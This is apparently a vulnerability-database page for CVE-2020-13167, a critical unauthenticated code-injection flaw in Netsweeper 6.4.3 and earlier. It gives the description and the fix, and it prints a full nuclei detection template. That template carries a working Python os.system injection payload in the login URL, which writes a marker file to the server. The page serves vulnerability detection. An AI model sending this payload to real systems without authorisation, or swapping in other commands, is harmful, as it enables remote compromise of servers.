HexBrain

Browse / CVEs / CVE-2020-13167

CVE-2020-13167· netsweeper / netsweeper· CWE-78

Netsweeper <=6.4.3 - Python Code Injection

criticalseverity
9.8CVSS score
95%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.

Impact

Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.

Fix

Upgrade to a patched version of Netsweeper (>=6.4.4) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.deco… ; GET {{BaseURL}}/webadmin/out
Positive when: contains in body_2 "{{rand_str}}" AND status 200

Run it with nuclei: nuclei -id CVE-2020-13167 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-13167

info:
  name: Netsweeper <=6.4.3 - Python Code Injection
  author: dwisiswant0
  severity: critical
  description: |
    Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
  remediation: |
    Upgrade to a patched version of Netsweeper (>=6.4.4) to mitigate this vulnerability.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
    - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13167
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13167
    cwe-id: CWE-78
    epss-score: 0.94971
    epss-percentile: 0.9986
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: netsweeper
    product: netsweeper
  tags: cve2020,cve,netsweeper,rce,python,webadmin,vkev,vuln
variables:
  rand_str: "{{randstr}}"
  cmd: 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out'

http:
  - method: GET
    path:
      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
      - "{{BaseURL}}/webadmin/out"

    headers:
      Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{rand_str}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from